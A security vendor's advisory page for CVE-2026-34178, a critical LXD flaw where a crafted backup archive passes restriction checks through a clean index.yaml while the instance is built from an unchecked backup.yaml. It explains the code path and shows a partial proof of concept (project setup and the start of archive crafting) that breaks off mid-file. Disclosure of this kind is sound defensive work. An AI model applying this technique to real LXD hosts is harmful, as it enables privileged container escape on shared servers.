Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-34178 — lxd

🔴 CVSS 9.5 — Critical ✅ No Known Exploit CWE-20 NVD
9.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

LXD: Importing a crafted backup leads to project restriction bypass

Summary

LXD instance backup import validates project restrictions against backup/index.yaml embedded in the tar archive, but creates the actual instance from backup/container/backup.yaml extracted to the storage volume. Because these are separate, independently attacker-controlled files within the same tar archive, an attacker with instance-creation rights in a restricted project can craft a backup where index.yaml contains clean configuration (passing all restriction checks) while backup.yaml contains security.privileged=true, raw.lxc host filesystem mounts, and restricted device types. The instance is created from the unchecked backup.yaml, bypassing all project restriction enforcement.

Details

LXD projects support a restricted=true mode that enforces security boundaries on what instances within the project can do. These restrictions include blocking security.privileged=true containers, raw.lxc / raw.apparmor overrides, and device passthrough (GPU, USB, PCI, unix-char). These restrictions are intended to prevent container escape vectors regardless of user privilege level within the project.

The backup import path has two distinct configuration sources within a single tar archive:

1. backup/index.yaml - A quick-access metadata file read by backup.GetInfo() at backup/backup_info.go:68. This is the config checked against project restrictions.

2. backup/container/backup.yaml - The full instance configuration extracted to the storage volume and used for actual instance creation at api_internal.go:784.

The vulnerability exists because:

1. AllowInstanceCreation() at instances_post.go:885 validates project restrictions using only bInfo.Config from index.yaml.

2. The tar contents (including backup/container/backup.yaml) are extracted to the storage volume at generic_vfs.go:952 via unpackVolume().

3. UpdateInstanceConfig() at backup_config_utils.go:236 reads backup.yaml from storage but only syncs Name, Project, pool info, and volume UUIDs - it does not overwrite Instance.Config or Instance.Devices.

4. internalImportFromBackup() at api_internal.go:784 reads backup.yaml from the storage mount path (not index.yaml) to build the instance database record.

5. instance.CreateInternal() at api_internal.go:946 creates the instance using the config from backup.yaml. CreateInternal calls ValidConfig which validates config key format only, not project restriction compliance.

Proof of Concept

Environment setup (server admin)

These steps are performed by the LXD server administrator to set up the

restricted project and grant access to the user. This represents the normal

multi-tenant configuration that the exploit targets.

```bash

# Create a restricted project

lxc project create restricted-project \

-c features.images=false \

-c features.profiles=true \

-c restricted=true

# Create a default profile with a root disk in the restricted project

lxc profile device add default root disk \

path=/ pool=default --project restricted-project

# Create a group with instance management permissions in the restricted project

lxc auth group create poc-group

lxc auth group permission add poc-group project restricted-project can_view

lxc auth group permission add poc-group project restricted-project can_create_instances

lxc auth group permission add poc-group project restricted-project can_view_instances

lxc auth group permission add poc-group project restricted-project can_operate_instances

# Create a TLS identity for the attacker, scoped to the group

lxc auth identity create tls/poc-attacker --group poc-group

# The attacker uses it to add the remote:

# lxc remote add target-lxd <token>

```

After this setup, the attacker can create normal unprivileged instances in

restricted-project but should not be able to create privileged containers,

use raw.lxc, or attach GPU/USB/unix-char devices. The exploit bypasses

all of these restrictions.

Steps

1. Create an instance backup archive locally

The attacker constructs the entire backup archive locally. No access to any

LXD server is needed for this step.

```shell

# Create the backup directory structure

mkdir -p backup/container

# Build a minimal rootfs with an init system using debootstrap

sudo debootstrap --include=systemd-sysv,curl --variant=minbase jammy backup/container/rootfs/

# Create backup index.yaml

cat >backup/index.yaml <<EOF

version: 2

name: escalated-instance

backend: dir

pool: default

type: container

optimized: false

config:

instance:

name: escalated-instance

architecture: x86_64

type: container

config: {}

devices: {}

expanded_config: {}

expanded_devices:

root:

path: /

pool: default

type: disk

profiles:

  • default

stateful: false

pools:

  • name: default

driver: dir

volumes:

  • name: escalated-insta

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs administrative privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: High — administrative rights are needed first.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-34178 is classified as CWE-20: Improper Input Validation. The application accepts input without checking that it has the expected form, so malformed values reach code that assumes they are well formed.

Affected software

CVE-2026-34178 is recorded against 2 packages.

  • github.com/canonical/lxd
  • lxd (from 6.0 up to 6.7)

Timeline and source

Published on 11 August 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com (Advisory)
github.com (Fix)

Other advisories for this package

github.com/canonical/lxd has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-20: Improper Input Validation) in other software:

CVE-2026-34178 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity CRITICAL
CVSS Score 9.5
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CWE CWE-20
Public Exploit ✅ No
Source NVD
Published 2026-08-11
Updated 2026-08-20
Modified 2026-08-11

Affected Packages

Software From version Fixed in
github.com/canonical/lxd
lxd 6.0 6.7

Similar Threats

Exploit Protection

Are you running lxd?

CVE-2026-34178 carries CVSS 9.5 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-34178 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026